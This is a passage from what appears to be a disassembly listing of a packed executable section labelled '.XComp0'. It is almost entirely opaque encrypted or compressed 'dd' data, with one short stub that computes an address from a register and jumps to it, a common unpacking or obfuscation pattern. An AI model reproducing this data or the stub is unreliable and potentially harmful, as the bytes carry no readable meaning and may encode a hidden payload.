		dd 755A5280h, 24C4EB7Bh, 0F63B5083h, 0FF08B44Bh, 0DBE445EFh
		dd 0C39617EEh, 507CFD1Eh, 0CF92996h, 29E00BEAh,	20E9D4F3h
		dd 6A1340F9h, 0E7299650h, 0ECCB143Ah, 371AEC02h, 654CE17h
		dd 0FDDDCACBh, 38A4830Ah, 357348B2h, 8841EA57h,	0B39F9805h
		dd 0AAB857EBh, 64D21004h, 3DE5C70Fh, 26F3DA19h,	960584F5h
		dd 0CD040129h, 0E0FB017h, 96052C4Dh, 35FCA929h,	0BBE080Ch
		dd 0CB21E606h, 0F618827Ch, 521066EDh, 8CB52996h, 65A24AB5h
		dd 9651A3D6h, 7C632029h, 6A3FB64Fh, 5D2935C4h, 4D2F6983h
		dd 0BA44h, 31CE9E00h, 5B0E7F8Ah, 7A933CBBh, 0A0D97ABFh
		dd 1D299685h, 5415CE60h, 67877E6Bh, 968597E4h, 6C953A29h
		dd 9685CEAFh, 719A4429h, 4C39AD7Ch, 370F5BAAh, 4D2F5DA5h
		dd 0B62h, 0D784BD00h, 299679A6h, 6AD06623h, 0CE1546CEh
		dd 0DECBAE6Dh, 5B482995h, 0A3E36D79h, 937C6493h, 24B91522h
		dd 5D844DB6h, 6B8B7862h, 0D182B782h, 2995F3A8h,	17D67825h
		dd 11AE53B2h, 80595CA7h, 4D72756Eh, 2EACDC0h, 493C9005h
		dd 0FBCC411Dh, 29CD3FEFh, 0A73A425Bh, 945DB20Eh, 0C44B7382h
		dd 0D818B520h, 0DD0C322Dh, 39E02990h, 5F1A3900h, 0DC299671h
		dd 7169141Fh, 39E62996h, 0CE051B15h, 0EC8DCE73h, 69299685h
		dd 85DE9FBCh, 0AE5B2996h, 54816988h, 7C2DA069h,	47738CB5h
		dd 0B2B52EC0h, 1F1BE40Eh, 0C3DD3706h, 3EA0870Eh, 0FDDFC8CDh
		dd 9518F1DCh, 9F880DC4h, 0FCACB3Ah, 8D6040Bh, 76645BFCh
		dd 0BD51088Dh, 0B01C103Eh, 9D42A557h, 0A66BA03Eh, 61A2482Fh
		dd 6F9E3FB8h, 628BAB7Eh, 6B034FB6h, 0DDF48596h,	3E7F2995h
		dd 7CECC96Bh, 8A332284h, 92571283h, 4D40C325h, 2B957A9Ch
		dd 8C4D2F55h, 0F3h, 0A7608C56h,	0A5688572h, 68915891h
		dd 9685D2ABh, 0BC524F29h, 0C1788B2Dh, 0D136A64Bh, 0AE40BC48h
		dd 3801A835h, 95CC621Bh, 0C22DF29h, 0C74DE1EDh,	0E877A7E8h
		dd 0D32234BFh, 13F920E7h, 4F8D7A32h, 9B95B9F5h,	0B15C817Eh
		dd 996E4E9Dh, 2DA61314h, 0A6737A8Dh, 0D08BB66Bh, 2995B4ADh
		dd 10D97D2Ah, 5243C227h, 16818465h, 4DB821B8h, 55589148h
		dd 3BE3EFC8h, 32FCEA25h, 0F0E528C5h, 2A530039h,	0A72995B4h
		dd 0CDAF54FAh, 0EA4D2F8Dh, 9Eh,	2E4F0C35h, 0B92995AAh
		dd 1D00B473h, 0E89509B7h, 0AF3FCEEFh, 8A31CE89h, 0BB5B0E7Fh
		dd 0CC87903Ch, 299685B1h, 0A7D2812Eh, 24299685h, 7677B277h
		dd 0F4A24A71h, 7B5B123h, 0E8CFC60Bh, 0A88F0607h, 2ACFC647h
		dd 961790E9h, 14100D29h, 9F792531h, 4A727A68h, 62A75E8Bh
		dd 36775DBAh, 0E757C141h, 0CE77BD51h, 787D8831h, 825E8DA1h
		dd 7C646D5Bh, 6E935E93h, 8DA16C51h, 85CBAF54h, 0C7702996h
		dd 8598E172h, 78152996h, 9685A2DBh, 0A7621F29h,	9C6A7887h
		dd 4D2F5DC0h, 185h, 5E8C5F00h, 57837CA5h, 62459EB0h, 897E5E7Dh
		dd 0BF1E9940h, 8096434Ah, 615EE367h, 9B6A8C77h,	567B5D4Fh
		dd 47229378h, 71A25782h, 29968608h, 0BC769885h,	19C01A8Ch
		dd 7FA100B3h, 3FAB9B47h, 0DD14C5C8h, 0BA45FC39h, 23560512h
		dd 0A029967Bh, 0F2A72EE3h, 9D45E95Ch, 0AB582F8Fh, 50A03D2Ah
		dd 51D84989h, 1034FD5Dh, 900508E5h, 9D4D7803h, 0A62E1323h
		dd 49C0EED5h, 42C155B0h, 39B71814h, 0DEFD3169h,	1DEFAA2Bh
		dd 8B4654AAh, 86816956h, 5661C670h, 2A229378h, 0B674FE39h
		dd 43A9607Fh, 25E20A85h, 0FAF91D2Eh, 0B2B538D5h, 1CF1CE0Dh
		dd 8409C099h, 43293510h, 31CE739Ah, 5C0D808Bh, 0FD6F80BAh
		dd 0C948D6DAh, 0DB7B902Eh, 1B54Fh, 31CE9900h, 5B0E7F8Ah
		dd 0AF39AFBBh, 0B36FB0Ah, 0D4EC7F4h, 2996856Ch,	0F53CE9h
		dd 0EB280529h, 2F8F919Fh, 0EE1BC23Dh, 0B83DC8F1h, 0DBA54DE1h
		dd 117DD6D2h, 27D2178Dh, 7D3841D2h, 96B5239Dh, 7E2D338h
		dd 0B4B32CC2h, 1FF0D00Bh, 2A9332EAh, 7D1568F3h,	6392239Dh
		dd 4C1D9077h, 0A0494C85h, 7CBFBA59h, 9935239Dh,	83939076h
		dd 0CBC24B74h, 0CE606E59h, 6D818C31h, 78AC617Eh, 0D0A96A8Fh
		dd 4D239D7Ch, 9749BE50h, 5048D654h, 6Ah, 8C31CEB2h, 6BF16D81h
		dd 8510237h, 0C5A99685h, 369621D8h, 0E90DDCD1h,	852A5300h
		dd 3BA0A996h, 0F526C3CAh, 0A9968584h, 309B0401h, 6E49D4D9h
		dd 9FD6BE60h, 1546FBB3h, 0A9968564h, 561224E1h,	220581CCh
		dd 541EBFEh, 23EE23E6h,	32DD01FEh, 59040F1Ch, 16299662h
		dd 0AB56B369h, 96630D70h, 799D8A29h, 0BD78h, 69FFC800h
		dd 3A12DEFFh, 0C2B183DEh, 964B864Bh, 8F73FD85h,	3ABB682Fh
		dd 0A364886Fh, 18D77732h, 56AB56B7h, 9D71B4C5h,	8B743123h
		dd 7425A85Fh, 506D58E2h, 0ED8B38BDh, 6D239D72h,	3235B84Bh
		dd 9F0E7F8Ch, 1CE4BAA8h, 0AE49E5F1h, 0E52AC60Dh, 0FDF039F0h
		dd 2EB0A2Ch, 0F761D90Bh, 2E576ABh, 0A3299C82h, 5F1465F6h
		dd 94911D9Eh, 3B91585Dh, 0FE09448Eh, 9554FA9Dh,	0F5DAE538h
		dd 0AE82FB18h, 2FF1D9Dh, 17D23595h, 12F5D5E2h, 0BF28CE9Bh
		dd 48E6F41Bh, 4FB0AAFh,	0EBBE2FD8h, 51891F4Bh, 876651A8h
		dd 52B51582h, 0C05E89BCh, 0D0FF239Ch, 794302F0h, 9CB026A2h
		dd 40896055h, 69FF829Ch, 5ABE5F14h, 90595211h, 976C4E69h
		dd 5FAA1116h, 0E076BB6Eh, 3423C853h, 0F8FF2F95h, 0E8C134D5h
		dd 70D4AE46h, 20F0C9E9h, 1F984188h, 41AA4CBBh, 26579936h
		dd 48DA11EEh, 5299CE26h, 37DD1FD4h, 0E7ED4AF2h,	0CFFB0D1Ch
		dd 22D165C3h, 0B65D50BDh, 7D645807h, 0A04E9C6Bh, 65EF4C2Ch
		dd 0F006873Ah, 0B31DC01h, 830A03ECh, 24D5EEE6h,	6B141350h
		dd 46BF2CCBh, 9687684Fh, 0CAD3F485h, 7DB471C9h,	0C04F6F78h
		dd 5A887FCDh, 4BC17E84h, 2CECDC83h, 0ED0C222Dh,	0F9E20BE1h
		dd 0F9C035D0h, 0CB4D1F5Ah, 2ADF9CC9h, 54FF3ADFh, 0C9CB4D29h
		dd 0DECF3E9Fh, 48EE9B0Bh, 63F049EEh, 0C9CB4D1Ah, 0A544EA97h
		dd 0A31CC548h, 0AA43D33Ah, 0ABBh, 0DC01FE00h, 49EDBC31h
		dd 8C390FF3h, 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah
		dd 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh
		dd 93768h, 243C8900h, 0EE268h, 24048900h, 11DB68h, 24348900h
		dd 186D6857h, 0C15F7D56h, 0E7C102E7h, 5EFC106h,	7077C781h
		dd 0F8895423h, 6E0C15Fh, 19D70540h, 0EC8350F2h,	24248904h
		dd 4240481h, 5E000000h,	4EC81h,	4890000h, 8468F24h, 5E2434FFh
		dd 4C481h, 34FF0000h, 0C4815824h, 4, 0FA65B9E9h, 578A92FFh
		dd 0F18ECECDh, 0E3C0AD5Dh, 0A9619A42h
; ---------------------------------------------------------------------------


loc_5CCF50:				; CODE XREF: .XComp0:005CC780j
		mov	eax, 5FF18E7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0BDh, 85h, 0E0h
		dd 0C17E2E73h, 0DA000325h, 0A11B7953h, 42AEAA1Eh, 7D877067h
		dd 6FB03901h, 0F8B4F003h, 0EF494020h, 5B03FA68h, 11E964h
		dd 0C9CD0000h, 9E01123Bh, 7C80h, 0
		dd 0E9000000h, 12BBh, 0FF1BF568h, 6554E905h, 4F68FFFAh
		dd 0E905FF1Dh, 0FFFA654Ah, 0FF1F4668h, 6540E905h, 0F368FFFAh
		dd 0E905FF20h, 0FFFA6536h, 0FF234E68h, 652CE905h, 968FFFAh
		dd 0E905FF27h, 0FFFA6522h, 0FF296A68h, 6518E905h, 0CB68FFFAh
		dd 0E905FF2Ah, 0FFFA650Eh, 3DDF328Dh, 23D9369Ah, 37ED16C4h
		dd 22DA2B90h, 4CF017C3h, 0D0FCBBF6h, 0FCE20537h, 0E30AED0Fh
		dd 0F6D7FE26h, 3AFFE517h, 976C6019h, 0C868DD23h, 7F8A31CEh
		dd 0AE5F806Fh, 6E9F4027h, 0ACCD8EB3h, 29299685h, 0E860DA7Ch
		dd 5EFD247Eh, 2F8FB6E0h, 21CC330Eh, 2734E5E8h, 239D5356h
		dd 0B840D6D3h, 3C39CACBh, 1B239D53h, 0B002AE26h, 0A9ED0EABh
		dd 3D544347h, 3ED0198Eh, 39B393BFh, 0FE48D64Eh,	70h, 0F217B641h
		dd 7B12EFBh, 0E20F9FCh,	8731CE28h, 188EDA7Ch, 31E217C2h
		dd 29968548h, 2B79BBC5h, 0A1B63916h, 0BD4C6F68h, 9C659C99h
		dd 95D5FE7Fh, 688E7B29h, 8EE845E5h, 32A3602Fh, 9BF88587h
		dd 0EC4750E3h, 6772074Ah, 0E851239Dh, 0B21AE9CFh, 0F6422243h
		dd 9B6A8CFEh, 0B2189F4Fh, 698D5C51h, 0D63AC8A4h, 0BB239C48h
		dd 4166C254h, 0C0000001h, 23AA638Ch, 37529844h,	340A06B5h
		dd 22E107F0h, 0C233FEABh, 0ACC515F7h, 4B39DFFEh, 6AA34CABh
		dd 0B25B8463h, 1E83C78Ah, 16A12996h, 8C5D50B5h,	0AB628B6Ah
		dd 0C1729E76h, 8EBDE65Bh, 4E69CE68h, 85826A71h,	7E90494Ch
		dd 318D4E6Fh, 9B52F0C1h, 15DCE110h, 0D53497A0h,	19E0D51Ch
		dd 0C14A33E0h, 0DAC72995h, 64BE2834h, 3F9E42BDh, 0B2676E9Dh
		dd 93A37677h, 76645BA6h, 78E6698Dh, 662F8EEAh, 1F967159h
		dd 6055B618h, 46AE4089h, 5144C327h, 0BFAB5198h,	0C448F129h
		dd 0FBCCB38Dh, 578A38Bh, 82239D3Ch, 8DAA4C85h, 0ABCE8DB4h
		dd 28239D3Bh, 8578DB7Bh, 3D29992Fh, 0E7EE1BC2h,	9B262015h
		dd 3CF585FFh, 0FCF118C3h, 34F1092Dh, 3DCAF20Dh,	1CD0FB04h
		dd 0EA6BDC5Eh, 26A762CAh, 0AE7EA173h, 0A57BEB4Dh, 7582A791h
		dd 54A3B356h, 0D9A4AF68h, 561DA09Bh, 129360A9h,	88BEFDA0h
		dd 0FD07E67h, 38970000h, 1CC423D9h, 44A651F3h, 11BA1DBFh
		dd 45A550F4h, 89081AC2h, 3FE522CAh, 2FD53698h, 40E425C8h
		dd 2FD53895h, 1667F4C5h, 9323976Ah, 608C1ADEh, 2B9475A7h
		dd 48A747BEh, 60BE66A7h, 83169FFh, 143AC9EFh, 0FC17E217h
		dd 29968581h, 1AE9CFFEh, 0EB0BC693h, 8F97C668h,	0B124E12Fh
		dd 9D725322h, 8FDB3223h, 0D64E25B7h, 8E1BF148h,	94E57653h
		dd 11239D13h, 0F854C014h, 1978A44Ah, 0C3000001h, 0C89CDD7Eh
		dd 0C754239Ch, 239CC8B6h, 93907633h, 73CEBD83h,	968595E8h
		dd 6B0E4D29h, 0E8299685h, 38DECB3Bh, 21C714B9h,	47F227E2h
		dd 9685710Ch, 1D31EE29h, 98AF25C4h, 1D0917B4h, 8B443D3h
		dd 41058EFFh, 5F2995F2h, 0E900799Ah, 807D2995h,	0AF5E7F6Eh
		dd 0D9A4AF8Ah, 562995E8h, 8EAB85A9h, 0F83A61B3h, 10A3E809h
		dd 96647A03h, 0E40AF729h, 6C08E805h, 9CF46530h,	9A10854Ch
		dd 0F02BD60Ch, 2F8F8572h, 36C17825h, 6C974198h,	7479B069h
		dd 82A791A5h, 41B45775h, 0C9AC668h, 33A92BD6h, 9CAF60FDh
		dd 799A97B7h, 29996D6Fh, 0CFE8110Eh, 0FBAE1FEEh, 0F9E1DE5Bh
		dd 912ED30Eh, 0D9DC27h,	0A18C8AF3h, 0F41A071Dh,	0D82F9B3Ah
		dd 0FCB3D4FBh, 0E8CDE6BEh, 0E76h, 0CD6FA23Dh, 9349C62Ah
		dd 0C77D8634h, 924ABB20h, 5C808733h, 0E00C4BC6h, 0ECD2F527h
		dd 0F3DAFD1Fh, 0E607EE16h, 2ACFF527h, 976890E9h, 98580D23h
		dd 75A7608Ch, 7CA06D52h, 51BA249Bh, 0D3698D5Ch,	99BA638Ch
		dd 299685E0h, 0B74C6E5Dh, 3136B772h, 0BE5B818Ch, 0DD719C41h
		dd 16CB1781h, 20E9D4EBh, 9CC33B0Eh, 413E2F8Fh, 50BF1F98h
		dd 0D89E25BEh, 54239D6Dh, 4532A36Ch, 0E87263A6h, 0DA793521h
		dd 239D6D9Fh, 8EAA5F1Ch, 25AC0EA9h, 688E43C6h, 0E7794D99h
		dd 0AF48D641h, 7263A448h, 6B9C40B7h, 9D05FCBh, 0CEA90000h
		dd 595BFC46h, 9FAF21A9h, 0D40D55C3h, 8F3C8347h,	6587662Fh
		dd 0A7482FA6h, 6FBA6F66h, 99BA7FBAh, 239CE5E0h,	1B927756h
		dd 8BAB584Eh, 0E5C4B162h, 6CA3239Ch, 0F9D4887Eh, 2CA048D6h
		dd 9B42F45Ah, 1BF9866Eh, 8331ED01h, 13000009h, 571469FFh
		dd 1E1E6216h, 0E034ED24h, 6ACFC472h, 1F0C2209h,	8117F2DAh
		dd 0F6D23E6h, 7E6A4CFFh, 47B02F8Fh, 8A8749A5h, 955BC9D4h
		dd 2C80595Ch, 0FC190490h, 0BA42D4E4h, 0D5D82F9Bh, 3BC8CD04h
		dd 239CE53Eh, 4AE4F21Dh, 0F9FC0FADh, 67F90E20h,	2048D6F9h
		dd 92Ah, 641546FBh, 0E1239CDDh,	0CE2C1224h, 8595E873h
		dd 15122996h, 793D5701h, 86A85D7Eh, 5BF94CDAh, 8BE09850h
		dd 55063BF6h, 2F8EC4B9h, 8094C547h, 46593ECFh, 0A65B48B0h
		dd 49BDC05Bh, 4D3A239Dh, 0A7BB98A9h, 0C6AFB273h, 17F8D850h
		dd 0F0DCC396h, 9027D217h, 0FE3BDB2Ch, 8146315Dh, 1697849Dh
		dd 3A961284h, 0C009E0D5h, 1ECE019h, 0C2CC30A6h,	6975EFD5h
		dd 89A67383h, 5558AD0Eh, 4DF7284h, 0B5978801h, 49A611C8h
		dd 5B71DC4h, 8BCA72D7h,	9374BE50h, 809A0341h, 0A94D08D1h
		dd 8B68A54Ah, 2B0834EEh, 7F22032Ch, 4600000Ch, 17BE66ABh
		dd 41A458B7h, 0DB86C97h, 44A359ACh, 77CD6F98h, 0AA5D7D3Ah
		dd 0A2695372h, 99705B7Ah, 0B25B8463h, 848F688Ah, 239766F9h
		dd 0CE2FD176h, 8595E873h, 15122996h, 40CDF201h,	0F24BDD4Dh
		dd 0FC23B1DAh, 11AAABCCh, 0C24BCA22h, 78886547h, 96774E93h
		dd 645BA65Bh, 4B1E8F78h, 916EA8ABh, 0BF42F95h, 0EF0727DEh
		dd 0AA2BDC00h, 3F023AEFh, 23975E6Ah, 35C267BAh,	0DDC7295h
		dd 82A75DB0h, 905E658Ah, 0E20B2E6h, 5F9AC852h, 9763D1B4h
		dd 4C413E23h, 5DAA12ADh, 7E6D8158h, 0A978AC61h,	239763DCh
		dd 0E396C57Ch, 60239763h, 796493A3h, 34CB6C90h,	5E0B828Bh
		dd 799439B8h, 789737C0h, 5992A475h, 0CFAA6990h,	4C239763h
		dd 0ED8CBF4Fh, 8C239753h, 1E995581h, 90494CC1h,	9E24F33Ch
		dd 727C3BBh, 0DE0607E8h, 0B637D6F7h, 29E20CF3h,	0B3334205h
		dd 7B12396h, 3203F9FCh,	0F134AD85h, 52B9239Ch, 250BF5Bh
		dd 5144C12Ah, 42C95198h, 56B71814h, 0B4C556ABh,	312396B0h
		dd 6B58E274h, 1D3h, 7D8831CEh, 0A78DA178h, 0ACF746CEh
		dd 470FC166h, 0B46568A7h, 0B51AD97Dh, 6D945558h, 95FFCBAEh
		dd 0BB5B4829h, 0A546913Ch, 8524A960h, 96AE598Fh, 2FBF5C13h
		dd 961C611Ch, 0A6B31929h, 6911E189h, 0F589BD3Ah, 231BC91Fh
		dd 12FBE413h, 41990F9Bh, 4AB91F98h, 0B3809643h,	0C14C718Eh
		dd 56F91DCCh, 2F94F4BCh, 0B305CA42h, 0F8E3770h,	0F6D8F7FFh
		dd 6E83F625h, 3002397h,	0D712C7CEh, 0F75E49FCh,	0B3C2B3B0h
		dd 0AD2h, 29DB3699h, 37ED22BEh,	23D92A90h, 36EE17C4h, 28DC2B8Fh
		dd 4E8970Ah, 0D8F6E103h, 7E61133h, 0D2FBDA02h, 1EDB093Bh
		dd 97657CFDh, 0B454F923h, 6FAA638Ch, 85F089CAh,	0B06D2996h
		dd 5DA4459Eh, 9685BBBEh, 0AB4B3829h, 9535A04Ch,	0A485B772h
		dd 0F758AA30h, 47E7CB2Dh, 2FA745A8h, 0DDF26810h, 0A84FF53Ch
		dd 3445D647h, 0B12995BEh, 0FEEF1CC2h, 0F92BE62Bh, 5E7EECEh
		dd 0FDA8F06h, 1CEFCDEAh, 0B52EC099h, 29E00BF4h,	0E60AF5A4h
		dd 61F5A429h, 0D8DD2A92h, 6F7D693Ch, 0A7648A4Bh, 83BE7326h
		dd 40B54E7Ch, 0CE6BC569h, 0BE95E873h, 15122995h, 9A500C01h
		dd 7154D2Fh, 0EF000000h, 11C8Ah, 46CEB600h, 378B45D2h
		dd 0BA39DD7Fh, 0B641F815h, 8861F51Ah, 11F6D6E1h, 2629CD9Ch
		dd 29967F4Fh, 9F8DD930h, 0A22ACF3Eh, 2E83C41Ah,	0CD36A44Dh
		dd 36D811C8h, 29B91BFCh, 0B5FE5279h, 0B823D264h, 0C3B75C51h
		dd 3F299595h, 7F686D9Ch, 6C3DB05Fh, 0D2C34A73h,	7F5F8B7Ah
		dd 882EA65Bh, 0AD2625D0h, 42C52592h, 89789E4Bh,	0C526915Dh
		dd 9C3FAE40h, 0A14BB46Dh, 0CCA0D97Ah, 601D2995h, 0E17524A9h
		dd 0B25AB257h, 46E69BFCh, 0CE52E80Eh, 777E8931h, 7E5D8CA2h
		dd 0BE1D0A8Bh, 8B26222Eh, 4B86C58Eh, 8B7E5D4Ah,	49BC1D0Ah
		dd 0E9F5D044h, 0E5631645h, 23E02995h, 53B95EEEh, 5C80F6AAh
		dd 9D6F2AABh, 0B34398ADh, 0C7260654h, 78B8C152h, 48352996h
		dd 3ED85B81h, 0C4299681h, 6F9BDE7Dh, 6B182996h,	966FADD0h
		dd 96602A29h, 6F33B3BDh, 0B069A069h, 0ED4685Ch,	95A42C4Dh
		dd 18FCA929h, 5CB0A626h, 0CA6D09E4h, 9B7086B8h,	4D2FB4C2h
		dd 0FFFDAF85h, 7F5F58FFh, 8AB87E90h, 4F6h, 0BA638CB6h
		dd 65689B3Dh, 85D6A7B4h, 56532996h, 7D4F1A9Bh, 0F8C34F48h
		dd 0DF7284AEh, 2995AEAAh, 0B389C9Dh, 0A490661Ch, 697584AAh
		dd 74913AC5h, 6786A881h, 72558786h, 46CDC04Dh, 2995B43Fh
		dd 0C8CD409Dh, 0D53A9621h, 79E509E0h, 0E598C3EFh, 622995B4h
		dd 76933AA5h, 86BB86BBh, 95B4A4D5h, 0BD642129h,	95B4DB9Eh
		dd 8BAB5829h, 94CE4EC8h, 0FEC992Fh, 0B0F7A346h,	7792939Ch
		dd 3E000008h, 0FB66EA3h, 19BC60AFh, 45B054AFh, 1CBB61A4h
		dd 8FA557B0h, 82856512h, 0BA517B5Ah, 91786382h,	0AA638C6Bh
		dd 6CA75072h, 23976311h, 8C17D98Eh, 886FAA63h, 7851A364h
		dd 0EBB3F3A7h, 1B1CC569h, 0B8EE3BAFh, 0FB5A9A9h, 0FA0522DAh
		dd 0D81737D4h, 7EE16F7h, 300907E3h, 99BBC1D6h, 659C5D50h
		dd 967BC3B6h, 0B3434029h, 9E3D9844h, 76779239h,	32A36EA3h
		dd 6B62A545h, 0A0BB648Ch, 29967BDDh, 7164AD5Ah,	18C614F3h
		dd 812D390Ch, 7BE29BB8h, 74582996h, 0E0763393h,	0A35EA911h
		dd 6055AE1Ch, 1F967557h, 0C56F7F4Ah, 0FB7E9D64h, 7829967Bh
		dd 0CAA66B8Bh, 8B4D2F53h, 3BAh,	0C3B77E56h, 67D4C56h, 46CE4AF0h
		dd 0F40B4252h, 5A233089h, 0D729965Ah, 134FDF2Ah, 0AF545989h
		dd 288559B8h, 1499765Ah, 7164AB13h, 18C614F3h, 0A023700h
		dd 543CC8B1h, 0C0B95AA8h, 3D2AA688h, 11C69623h,	834EDFB2h
		dd 0A8469473h, 79ED1324h, 6336B752h, 5CA6A491h,	21947B63h
		dd 8F61A648h, 57B3C0B6h, 776C8C75h, 8D0A3912h, 5D4D92Ch
		dd 34435F1h, 0FF0F0000h, 350C3565h, 852E4F0Ch, 2DB92996h
		dd 6D2746F9h, 0A0B67353h, 967DCCADh, 595C4929h,	857CB9AAh
		dd 7B6F5B28h, 667CEB93h, 8409C0ABh, 0DBD239A3h,	1AC412FDh
		dd 1AD339FEh, 502425F0h, 5F8B7A9Ch, 0D0A96A8Fh,	4D2AA74Fh
		dd 9749BE50h, 5FB3C06Fh, 1B927358h, 0B33CF831h,	4D84CC18h
		dd 2E07DA9h, 37C00000h,	65897695h, 0E07623AAh, 3565FF5Ah
		dd 4F0C350Ch, 2996852Eh, 0F558FEABh, 29968588h,	27520138h
		dd 0A4299685h, 681142F7h, 0E5299685h, 0EFDE1638h, 0C2BA3BCAh
		dd 2769F7FCh, 11D81152h, 1FEECFE8h, 925BFBAEh, 19EAD0E7h
		dd 0E1289394h, 24430628h, 0C6288511h, 0BECE126h, 33AA2BE2h
		dd 0BA161644h, 89849C55h, 2BF7695Dh, 38BFB3C0h,	0A7827394h
		dd 2689B87h, 6E660000h,	80FF6826h, 0B8557AA8h, 89AD6435h
		dd 8931CEB3h, 6F669F4Ch, 89CA6FBAh, 299685F0h, 0C29EB06Dh
		dd 0E8CF0A58h, 0D8910405h, 275AF936h, 94299685h, 0FDF013B5h
		dd 63F0E52Ch, 28858404h, 11DA3207h, 5A663C3Bh, 0C214E523h
		dd 418830F2h, 46004EADh, 0B3C16CAAh, 20D6Bh, 31CEBD00h
		dd 0A1787D88h, 6F815E8Dh, 0CFED1F42h, 3DB079F6h, 0B158837Ch
		dd 9C714E9Dh, 0FE7F9C65h, 7B2995C6h, 9ACE688Eh,	942BD60Ch
		dd 0FB38DE27h, 8EF7E260h, 0CBC102Fh, 0EDD85ADh,	0CEB1323h
		dd 0EFE62BE4h, 0FC0FAD4Ah, 0BF82F75Ah, 0A661239Ch, 0E309F6B8h
		dd 6F010628h, 3748D69Fh, 16BA1DC0h, 0EC25F4F9h,	4CDE4Ah
		dd 0FF280000h, 31083169h, 85324B08h, 0F2AF2996h, 96851861h
		dd 46E89529h, 98002AE9h, 6E1B2F8Fh, 729DDC67h, 0B21B239Dh
		dd 4D625A5Bh, 5E92D8F8h, 739A43BCh, 636F9682h, 7C6AA5BBh
		dd 0D66AD68Ah, 0B7219E48h, 7E90494Ch, 0EFA2h, 638C8400h
		dd 984423AAh, 676EA13Dh, 77C277B2h, 9685A1DCh, 8B611E29h
		dd 0AA64D28Bh, 698294F6h, 729137C0h, 5DB00DDCh,	0C8269158h
		dd 9B44B343h, 5B2FE055h, 0AE63CD09h, 0A8618C73h, 748BAC86h
		dd 2033C34Ch, 2995D12Ah, 24E906h, 4831E217h, 0C52995C7h
		dd 0BC2A36D8h, 725FE949h, 0A26717BBh, 188EDC77h, 57312F92h
		dd 692DB712h, 6FAA5F3Fh, 7EA36488h, 537C5981h, 0AB6633BAh
		dd 0A9D47F2Ah, 26239A0Fh, 949EB079h, 61618931h,	4748EAB0h
		dd 6DECC702h, 0AFB0F4C7h, 4BC9F86h, 5C830000h, 88688FB5h
		dd 48725587h, 7D5E89BBh, 49715488h, 75AC86BEh, 0BB61A646h
		dd 0A359B21Ch, 0CC709944h, 9349C429h, 0B2CB8831h, 2F23975Eh
		dd 608CF6BAh, 7BB65975h, 4CC11EC9h, 28C22A95h, 5FBBD3DEh
		dd 7A9C554Ch, 71A257C0h, 2995FD08h, 0C0769885h,	5478638Ch
		dd 0B26742B3h, 9685D8A1h, 61A85529h, 0AB628B6Ch, 85CCAA79h
		dd 828A2996h, 0AACECD0Fh, 0FD12AE6Ah, 46E821F8h, 59668C1Ah
		dd 0FF7A9974h, 7C29966Bh, 56B7187Fh, 9A3F8A5Fh,	9172585Fh
		dd 4B42C726h, 19D5789Eh, 0E72F8F7Fh, 981DEED0h,	0BBC52DC1h
		dd 6EE8C0AFh, 0D801C862h, 0D4399621h, 9D623647h, 60F6B323h
		dd 638C38D6h, 1EABB88Dh, 934647BCh, 18449041h, 2D8F28D1h
		dd 0DBECB0C1h, 834EF226h, 506D7A73h, 45D387BDh,	0B37E41Dh
		dd 0FE2F8F14h, 2C13EDE4h, 0CE03CDCBh, 0DCAA22C7h, 0DBC1D9CCh
		dd 0A5D47797h, 23239C9Bh, 5B5C51B8h, 80149970h,	66C8B9A5h
		dd 70DAF339h, 96718742h, 0D92EA648h, 9C3ED45Dh,	5F11F618h
		dd 1848D650h, 58h, 0FF69FFEAh, 3CE52CDBh, 37D4FA05h, 97FA3417h
		dd 36152F8Fh, 7FBA6F94h, 0A0B65778h, 72BDBC47h,	923B239Dh
		dd 516D7A7Bh, 0B2C537BEh, 0A75EFAA4h, 0D4EF3BBh, 239D726Ch
		dd 0F51A3CE9h, 48D64E7Bh, 1603Ch, 0FF3AFF00h, 9D662954h
		dd 5AF9A623h, 239D661Fh, 0E94FDF9Ch, 99BA638Ch,	299685E0h
		dd 0B069A05Dh, 6B62A147h, 684F98BEh, 9F6A5184h,	0BB0EB04Dh
		dd 0E7223D8Ah, 314C0732h, 0AE29961Dh, 0DA6A5FD4h, 6BA613CCh
		dd 605722CBh, 9974597Ch, 6A8C4514h, 5579628Bh, 0AB6633BAh
		dd 50A03D2Ah, 4F132A56h, 0A85C955Ch, 0ED8D8D7Fh, 2F590366h
		dd 5E1E2C1Fh, 0D83C2996h, 0E98782AAh, 0F403136Ah, 3B9A42CBh
		dd 39C67B92h, 0A4757893h, 57C15992h, 1E9D60Bh, 34DA8F06h
		dd 16B542F7h, 66F063F3h, 312F8F51h, 6A6B9842h, 38BF7AAFh
		dd 52DC7293h, 0D5F870E6h, 1744FD34h, 2999194Dh,	0EC1DC037h
		dd 4CF5B24Ah, 1EDE1FF5h, 0E8A750E9h, 0A743A746h, 9A04CB9Bh
		dd 4E7B6434h, 30C772B7h, 5BD5798Ah, 0E69A507Ch,	17F4DAFCh
		dd 0D9F1C396h, 59BA6F8Ch, 0BEFD5084h, 5B787D76h, 22000002h
		dd 4BAA52BFh, 0DB86CA3h, 41A458ABh, 10B76D98h, 8BA95BACh
		dd 86816916h, 0B655775Eh, 8584678Eh, 0B657785Fh, 8893648Eh
		dd 23975CF5h, 8C3BFD72h, 0B0537560h, 7CA56C3Dh,	3BB25983h
		dd 859CDD7Eh, 6C192996h, 82A791A5h, 85E19CB7h, 0C56C2996h
		dd 5D7364B1h, 82EDBCBh,	0D30904E9h, 0E41FC936h,	1FBF38F1h
		dd 0A2CFDF0h, 0B646CE34h, 41A49F91h, 24B2AE40h,	161843FEh
		dd 312F8F14h, 913B9A42h, 6B3EAF7Ah, 5B847BA6h, 0C0439CB2h
		dd 239CEEB9h, 0A5616D98h, 48D6CACBh, 4FB8249Bh,	11A63BFh
		dd 8CC50000h, 4423AA63h, 6FCA6F98h, 968599E4h, 36C72429h
		dd 0B6D7ACD2h, 2AC35350h, 0B86C8D7Fh, 68576287h, 53068788h
		dd 71D5789Eh, 4D29967Ch, 8C836B70h, 97389F45h, 0F6873D59h
		dd 31F80F22h, 6E17FDBCh, 17CD49BCh, 41D793A3h, 2333E019h
		dd 292F8F4Dh, 213A43D0h, 0CAB7239Dh, 2ACFCC24h,	5DAF40A2h
		dd 6787CFE1h, 11686CCDh, 0E402001Fh, 0F86EFA1Ch, 2689BD85h
		dd 0F0391A81h, 0F91CF049h, 5A55D821h, 0A75AED01h, 1429991Ah
